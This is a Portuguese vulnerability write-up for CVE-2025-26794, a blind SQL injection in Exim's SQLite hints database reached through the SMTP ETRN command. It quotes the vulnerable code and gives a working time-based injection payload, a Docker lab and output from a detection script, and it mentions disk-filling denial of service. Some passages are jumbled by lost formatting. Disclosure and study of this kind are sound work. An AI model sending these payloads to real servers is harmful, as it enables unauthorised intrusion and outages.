
CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup
Relatório do Exim: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
Descobri esta vulnerabilidade através de uma revisão manual de código.
Os parâmetros SQL, quando o SQLite é usado como DBM, não são devidamente sanitizados. Isso resulta na possibilidade de um utilizador remoto criar consultas SQLite personalizadas.
O Exim utiliza uma base de dados interna para armazenamento interno de chave:valor (chamada HintsDB) que suporta vários backends, definidos em tempo de compilação. A adição mais recente foi o SQLite. É usado para armazenar:
enq_start()) para comandos ETRN e entrega SMTPO ficheiro afetado é hintsdb.h. Foi movido para um ficheiro separado (hints_sqlite.h) nos commits mais recentes. Apenas as funções SQLite são afetadas (exemplo de função: exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
}
A chave de entrada não é devidamente escapada. Portanto, se conseguirmos controlar a chave, seremos capazes de injetar qualquer código SQLite.
O RFC1985 define o comando SMTP ETRN, "através do qual um cliente pode solicitar que o servidor inicie o processamento das suas filas de correio para mensagens que estão à espera no servidor para a máquina cliente".
É utilizado com o comando SMTP: ETRN #domínio.com.
No Exim, o comando ETRN define um semáforo na HintsDB para evitar executar múltiplos comandos ETRN em paralelo.
Este semáforo é implementado pela função enq_start(keyname, value) que cria uma nova entrada na base de dados "misc".
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
Por exemplo, o comando SMTP ETRN #teste.com criará uma entrada temporária na base de dados SQLite "misc" com a chave "etrn-#teste.com" e o valor 1.
No final do processamento do comando ETRN, a entrada da base de dados será removida:
enq_end(etrn_serialize_key);
Como controlamos a chave, podemos injetar o nosso próprio código SQL com o seguinte comando SMTP:
ETRN #',1); ## INSERIR SQL AQUI ## /*
Como não há saída, podemos enviar um payload SQLi baseado em tempo para testar remotamente esta vulnerabilidade:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE. Acho que provavelmente poderíamos explorar uma condição de corrida no Exim para desencadear algum comportamento indefinido ao interferir com as outras bases de dados usadas. Ainda é muito hipotético por agora.ETRN (e bastante antigo). Não consegui encontrar em mais nenhum local do código onde a entrada do utilizador seja usada para construir a string de consulta.Isto significa que poderíamos facilmente fazer DoS (ex: encher o disco), mas escalar isto para Execução Remota de Código exigiria mais trabalho, mas pode ser possível.
Aqui está um laboratório Docker local para ajudar a reproduzir esta vulnerabilidade.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh irá construir e fazer login no contentorbash start-exim.sh para iniciar o servidor eximnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorDesenvolvi um script test.py para testar remotamente esta vulnerabilidade.
python3 docker_lab/test.py <host>
Exemplo:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable